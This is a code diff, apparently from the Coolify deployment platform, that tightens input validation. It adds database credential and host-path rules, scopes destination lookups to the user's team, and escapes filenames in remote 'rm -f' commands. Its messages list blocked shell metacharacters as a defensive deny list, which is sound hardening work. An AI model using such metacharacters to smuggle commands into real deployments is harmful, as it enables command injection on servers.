a/app/Livewire/Help.php +++ b/app/Livewire/Help.php @@ -15,7 +15,7 @@ class Help extends Component #[Validate(['required', 'min:10', 'max:1000'])] public string $description; - #[Validate(['required', 'min:3'])] + #[Validate(['required', 'min:3', 'max:600'])] public string $subject; public function submit() diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 2a0047e21..258b54eed 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -197,12 +197,12 @@ protected function messages(): array 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', - 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', - 'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'installCommand.regex' => 'The install command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'buildCommand.regex' => 'The build command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', + 'startCommand.regex' => 'The start command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.', 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index e06629d10..2583c10ea 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -76,8 +76,12 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'clickhouseAdminUser' => 'required|string', - 'clickhouseAdminPassword' => 'required|string', + 'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->clickhouseAdminUser !== $this->database->clickhouse_admin_user, + ), + 'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->clickhouseAdminPassword !== $this->database->clickhouse_admin_password, + ), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -96,10 +100,8 @@ protected function messages(): array ValidationPatterns::combinedMessages(), ValidationPatterns::portMappingMessages(), [ - 'clickhouseAdminUser.required' => 'The Admin User field is required.', - 'clickhouseAdminUser.string' => 'The Admin User must be a string.', - 'clickhouseAdminPassword.required' => 'The Admin Password field is required.', - 'clickhouseAdminPassword.string' => 'The Admin Password must be a string.', + ...ValidationPatterns::databaseIdentifierMessages('clickhouseAdminUser', 'Admin User'), + ...ValidationPatterns::databasePasswordMessages('clickhouseAdminPassword', 'Admin Password'), 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 5176f5ff9..9e1ea0d10 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -89,7 +89,9 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'dragonflyPassword' => 'required|string', + 'dragonflyPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->dragonflyPassword !== $this->database->dragonfly_password, + ), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -109,8 +111,7 @@ protected function messages(): array ValidationPatterns::combinedMessages(), ValidationPatterns::portMappingMessages(), [ - 'dragonflyPassword.required' => 'The Dragonfly Password field is required.', - 'dragonflyPassword.string' => 'The Dragonfly Password must be a string.', + ...ValidationPatterns::databasePasswordMessages('dragonflyPassword', 'Dragonfly Password'), 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index b50f196a8..7c8808499 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -92,7 +92,9 @@ protected function rules(): array 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'keydbConf' => 'nullable|string', - 'keydbPassword' => 'required|string', + 'keydbPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->keydbPassword !== $this->database->keydb_password, + ), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -114,8 +116,7 @@ protected function messages(): array ValidationPatterns::combinedMessages(), ValidationPatterns::portMappingMessages(), [ - 'keydbPassword.required' => 'The KeyDB Password field is required.', - 'keydbPassword.string' => 'The KeyDB Password must be a string.', + ...ValidationPatterns::databasePasswordMessages('keydbPassword', 'KeyDB Password'), 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 9a1a8bd68..ea6d902e7 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -74,10 +74,18 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'mariadbRootPassword' => 'required', - 'mariadbUser' => 'required', - 'mariadbPassword' => 'required', - 'mariadbDatabase' => 'required', + 'mariadbRootPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mariadbRootPassword !== $this->database->mariadb_root_password, + ), + 'mariadbUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mariadbUser !== $this->database->mariadb_user, + ), + 'mariadbPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mariadbPassword !== $this->database->mariadb_password, + ), + 'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mariadbDatabase !== $this->database->mariadb_database, + ), 'mariadbConf' => 'nullable', 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), @@ -97,10 +105,10 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'mariadbRootPassword.required' => 'The Root Password field is required.', - 'mariadbUser.required' => 'The MariaDB User field is required.', - 'mariadbPassword.required' => 'The MariaDB Password field is required.', - 'mariadbDatabase.required' => 'The MariaDB Database field is required.', + ...ValidationPatterns::databasePasswordMessages('mariadbRootPassword', 'Root Password'), + ...ValidationPatterns::databaseIdentifierMessages('mariadbUser', 'MariaDB User'), + ...ValidationPatterns::databasePasswordMessages('mariadbPassword', 'MariaDB Password'), + ...ValidationPatterns::databaseIdentifierMessages('mariadbDatabase', 'MariaDB Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index a21de744a..3af4b0b2a 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -75,9 +75,15 @@ protected function rules(): array 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'mongoConf' => 'nullable', - 'mongoInitdbRootUsername' => 'required', - 'mongoInitdbRootPassword' => 'required', - 'mongoInitdbDatabase' => 'required', + 'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mongoInitdbRootUsername !== $this->database->mongo_initdb_root_username, + ), + 'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mongoInitdbRootPassword !== $this->database->mongo_initdb_root_password, + ), + 'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mongoInitdbDatabase !== $this->database->mongo_initdb_database, + ), 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', @@ -97,9 +103,9 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'mongoInitdbRootUsername.required' => 'The Root Username field is required.', - 'mongoInitdbRootPassword.required' => 'The Root Password field is required.', - 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', + ...ValidationPatterns::databaseIdentifierMessages('mongoInitdbRootUsername', 'Root Username'), + ...ValidationPatterns::databasePasswordMessages('mongoInitdbRootPassword', 'Root Password'), + ...ValidationPatterns::databaseIdentifierMessages('mongoInitdbDatabase', 'MongoDB Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index cacb4ac49..34726bd0a 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -76,10 +76,18 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'mysqlRootPassword' => 'required', - 'mysqlUser' => 'required', - 'mysqlPassword' => 'required', - 'mysqlDatabase' => 'required', + 'mysqlRootPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mysqlRootPassword !== $this->database->mysql_root_password, + ), + 'mysqlUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mysqlUser !== $this->database->mysql_user, + ), + 'mysqlPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mysqlPassword !== $this->database->mysql_password, + ), + 'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mysqlDatabase !== $this->database->mysql_database, + ), 'mysqlConf' => 'nullable', 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), @@ -100,10 +108,10 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'mysqlRootPassword.required' => 'The Root Password field is required.', - 'mysqlUser.required' => 'The MySQL User field is required.', - 'mysqlPassword.required' => 'The MySQL Password field is required.', - 'mysqlDatabase.required' => 'The MySQL Database field is required.', + ...ValidationPatterns::databasePasswordMessages('mysqlRootPassword', 'Root Password'), + ...ValidationPatterns::databaseIdentifierMessages('mysqlUser', 'MySQL User'), + ...ValidationPatterns::databasePasswordMessages('mysqlPassword', 'MySQL Password'), + ...ValidationPatterns::databaseIdentifierMessages('mysqlDatabase', 'MySQL Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 22e350683..b5fb85483 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -86,9 +86,15 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'postgresUser' => 'required', - 'postgresPassword' => 'required', - 'postgresDb' => 'required', + 'postgresUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->postgresUser !== $this->database->postgres_user, + ), + 'postgresPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->postgresPassword !== $this->database->postgres_password, + ), + 'postgresDb' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->postgresDb !== $this->database->postgres_db, + ), 'postgresInitdbArgs' => 'nullable', 'postgresHostAuthMethod' => 'nullable', 'postgresConf' => 'nullable', @@ -112,9 +118,9 @@ protected function messages(): array ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', - 'postgresUser.required' => 'The Postgres User field is required.', - 'postgresPassword.required' => 'The Postgres Password field is required.', - 'postgresDb.required' => 'The Postgres Database field is required.', + ...ValidationPatterns::databaseIdentifierMessages('postgresUser', 'Postgres User'), + ...ValidationPatterns::databasePasswordMessages('postgresPassword', 'Postgres Password'), + ...ValidationPatterns::databaseIdentifierMessages('postgresDb', 'Postgres Database'), 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPort.min' => 'The Public Port must be at least 1.', @@ -352,9 +358,14 @@ public function save_init_script($script) if ($oldScript && $oldScript['filename'] !== $script['filename']) { try { - // Validate and escape filename to prevent command injection - validateShellSafePath($oldScript['filename'], 'init script filename'); - $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}"; + // New filename is user-supplied — must be safe before accepting the rename. + validateFilenameSafe($script['filename'], 'init script filename'); + + // Old filename may be a legacy value written before this validation existed. + // basename() scopes the rm to the initdb.d directory; escapeshellarg() contains + // any remaining shell-metachars. No validator — don't block cleanup of legacy rows. + $old_filename = basename($oldScript['filename']); + $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$old_filename}"; $escapedOldPath = escapeshellarg($old_file_path); $delete_command = "rm -f {$escapedOldPath}"; instant_remote_process([$delete_command], $this->server); @@ -398,9 +409,11 @@ public function delete_init_script($script) $configuration_dir = database_configuration_dir().'/'.$container_name; try { - // Validate and escape filename to prevent command injection - validateShellSafePath($script['filename'], 'init script filename'); - $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}"; + // Allow deletion of legacy rows with unsafe filenames so operators can clean up. + // basename() scopes the rm to the initdb.d directory; escapeshellarg() keeps the + // shell invocation safe regardless of the stored value. + $safe_filename = basename($script['filename']); + $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$safe_filename}"; $escapedPath = escapeshellarg($file_path); $command = "rm -f {$escapedPath}"; @@ -437,8 +450,8 @@ public function save_new_init_script() ]); try { - // Validate filename to prevent command injection - validateShellSafePath($this->new_filename, 'init script filename'); + // Validate filename to prevent path traversal and command injection + validateFilenameSafe($this->new_filename, 'init script filename'); } catch (Exception $e) { $this->dispatch('error', $e->getMessage()); diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 3c32a6192..c3cc43972 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -81,8 +81,12 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'redisUsername' => 'required', - 'redisPassword' => 'required', + 'redisUsername' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->redisUsername !== $this->database->redis_username, + ), + 'redisPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->redisPassword !== $this->database->redis_password, + ), 'enableSsl' => 'boolean', ]; } @@ -100,8 +104,8 @@ protected function messages(): array 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', - 'redisUsername.required' => 'The Redis Username field is required.', - 'redisPassword.required' => 'The Redis Password field is required.', + ...ValidationPatterns::databaseIdentifierMessages('redisUsername', 'Redis Username'), + ...ValidationPatterns::databasePasswordMessages('redisPassword', 'Redis Password'), ] ); } diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 2b92902c6..2cf0659bf 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -5,8 +5,6 @@ use App\Models\EnvironmentVariable; use App\Models\Project; use App\Models\Service; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use Livewire\Component; use Symfony\Component\Yaml\Yaml; @@ -31,7 +29,6 @@ public function mount() public function submit() { - $server_id = $this->query['server_id']; try { $this->validate([ 'dockerComposeRaw' => 'required', @@ -44,20 +41,17 @@ public function submit() $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); $service = Service::create([ 'docker_compose_raw' => $this->dockerComposeRaw, 'environment_id' => $environment->id, - 'server_id' => (int) $server_id, + 'server_id' => $destination->server_id, 'destination_id' => $destination->id, 'destination_type' => $destination_class, ]); diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 268333d07..b89ce2c6a 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -4,8 +4,6 @@ use App\Models\Application; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Services\DockerImageParser; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -111,13 +109,10 @@ public function submit() $parser = new DockerImageParser; $parser->parse($dockerImage); - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index be7daddd7..0ce1bd1a2 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -5,8 +5,6 @@ use App\Models\Application; use App\Models\GithubApp; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Http; @@ -180,13 +178,10 @@ public function submit() throw new \RuntimeException('Invalid repository data: '.$validator->errors()->first()); } - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index e81139792..045ddc6cb 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -7,8 +7,6 @@ use App\Models\GitlabApp; use App\Models\PrivateKey; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; @@ -132,13 +130,10 @@ public function submit() { $this->validate(); try { - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index fb24ba284..9fe630d63 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -7,8 +7,6 @@ use App\Models\GitlabApp; use App\Models\Project; use App\Models\Service; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; @@ -34,8 +32,6 @@ class PublicGitRepository extends Component public bool $isStatic = false; - public bool $checkCoolifyConfig = true; - public ?string $publish_directory = null; // In case of docker compose @@ -286,16 +282,13 @@ public function submit() throw new \RuntimeException('Invalid branch: '.$branchValidator->errors()->first('git_branch')); } - $destination_uuid = $this->query['destination']; + $destination_uuid = $this->query['destination'] ?? null; $project_uuid = $this->parameters['project_uuid']; $environment_uuid = $this->parameters['environment_uuid']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); @@ -373,12 +366,6 @@ public function submit() $fqdn = generateUrl(server: $destination->server, random: $application->uuid); $application->fqdn = $fqdn; $application->save(); - if ($this->checkCoolifyConfig) { - // $config = loadConfigFromGit($this->repository_url, $this->git_branch, $this->base_directory, $this->query['server_id'], auth()->user()->currentTeam()->id); - // if ($config) { - // $application->setConfig($config); - // } - } return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 1073157e6..f07948dba 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -5,8 +5,6 @@ use App\Models\Application; use App\Models\GithubApp; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -35,13 +33,10 @@ public function submit() $this->validate([ 'dockerfile' => 'required', ]); - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index 966c66a14..4619ddf37 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -4,7 +4,6 @@ use App\Models\EnvironmentVariable; use App\Models\Service; -use App\Models\StandaloneDocker; use Livewire\Component; class Create extends Component @@ -18,7 +17,6 @@ public function mount() $type = str(request()->query('type')); $destination_uuid = request()->query('destination'); - $server_id = request()->query('server_id'); $database_image = request()->query('database_image'); $project = currentTeam()->load(['projects'])->projects->where('uuid', request()->route('project_uuid'))->first(); @@ -30,7 +28,11 @@ public function mount() if (! $environment) { return redirect()->route('dashboard'); } - if (isset($type) && isset($destination_uuid) && isset($server_id)) { + if (isset($type) && isset($destination_uuid)) { + $destination = find_destination_for_current_team($destination_uuid); + if (! $destination) { + return redirect()->route('dashboard'); + } $services = get_service_templates(); if (in_array($type, DATABASE_TYPES)) { @@ -44,23 +46,23 @@ public function mount() } $database = create_standalone_postgresql( environmentId: $environment->id, - destinationUuid: $destination_uuid, + destination: $destination, databaseImage: $database_image ); } elseif ($type->value() === 'redis') { - $database = create_standalone_redis($environment->id, $destination_uuid); + $database = create_standalone_redis($environment->id, $destination); } elseif ($type->value() === 'mongodb') { - $database = create_standalone_mongodb($environment->id, $destination_uuid); + $database = create_standalone_mongodb($environment->id, $destination); } elseif ($type->value() === 'mysql') { - $database = create_standalone_mysql($environment->id, $destination_uuid); + $database = create_standalone_mysql($environment->id, $destination); } elseif ($type->value() === 'mariadb') { - $database = create_standalone_mariadb($environment->id, $destination_uuid); + $database = create_standalone_mariadb($environment->id, $destination); } elseif ($type->value() === 'keydb') { - $database = create_standalone_keydb($environment->id, $destination_uuid); + $database = create_standalone_keydb($environment->id, $destination); } elseif ($type->value() === 'dragonfly') { - $database = create_standalone_dragonfly($environment->id, $destination_uuid); + $database = create_standalone_dragonfly($environment->id, $destination); } elseif ($type->value() === 'clickhouse') { - $database = create_standalone_clickhouse($environment->id, $destination_uuid); + $database = create_standalone_clickhouse($environment->id, $destination); } return redirect()->route('project.database.configuration', [ @@ -69,7 +71,7 @@ public function mount() 'database_uuid' => $database->uuid, ]); } - if ($type->startsWith('one-click-service-') && ! is_null((int) $server_id)) { + if ($type->startsWith('one-click-service-')) { $oneClickServiceName = $type->after('one-click-service-')->value(); $oneClickService = data_get($services, "$oneClickServiceName.compose"); $oneClickDotEnvs = data_get($services, "$oneClickServiceName.envs", null); @@ -79,12 +81,11 @@ public function mount() }); } if ($oneClickService) { - $destination = StandaloneDocker::whereUuid($destination_uuid)->first(); $service_payload = [ 'docker_compose_raw' => base64_decode($oneClickService), 'environment_id' => $environment->id, 'service_type' => $oneClickServiceName, - 'server_id' => (int) $server_id, + 'server_id' => $destination->server_id, 'destination_id' => $destination->id, 'destination_type' => $destination->getMorphClass(), ]; diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index 433c2b13c..6f43662d5 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -106,8 +106,12 @@ public function submitPersistentVolume() $this->validate([ 'name' => ValidationPatterns::volumeNameRules(), 'mount_path' => 'required|string', - 'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable', - ], ValidationPatterns::volumeNameMessages()); + 'host_path' => $this->isSwarm + ? ['required', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN] + : ['nullable', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], + ], array_merge(ValidationPatterns::volumeNameMessages(), [ + 'host_path.regex' => 'Host path must start with / and only contain safe path characters.', + ])); $name = $this->resource->uuid.'-'.$this->name; diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index f4813dd4c..2a8747c33 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -58,10 +58,9 @@ public function cloneTo($destination_id) { $this->authorize('update', $this->resource); - $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id); - $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id); + $new_destination = StandaloneDocker::ownedByCurrentTeam()->find($destination_id); if (! $new_destination) { - $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id); + $new_destination = SwarmDocker::ownedByCurrentTeam()->find($destination_id); } if (! $new_destination) { return $this->addError('destination_id', 'Destination not found.'); diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index eee5a0776..2aaca5e6f 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -3,6 +3,7 @@ namespace App\Livewire\Project\Shared\Storages; use App\Models\LocalPersistentVolume; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -31,19 +32,33 @@ class Show extends Component public bool $isPreviewSuffixEnabled = true; - protected $rules = [ - 'name' => 'required|string', - 'mountPath' => 'required|string', - 'hostPath' => 'string|nullable', - 'isPreviewSuffixEnabled' => 'required|boolean', - ]; - protected $validationAttributes = [ 'name' => 'name', 'mountPath' => 'mount', 'hostPath' => 'host', ]; + protected function rules(): array + { + return [ + 'name' => ValidationPatterns::volumeNameRules(), + 'mountPath' => ['required', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], + 'hostPath' => ['nullable', 'string', 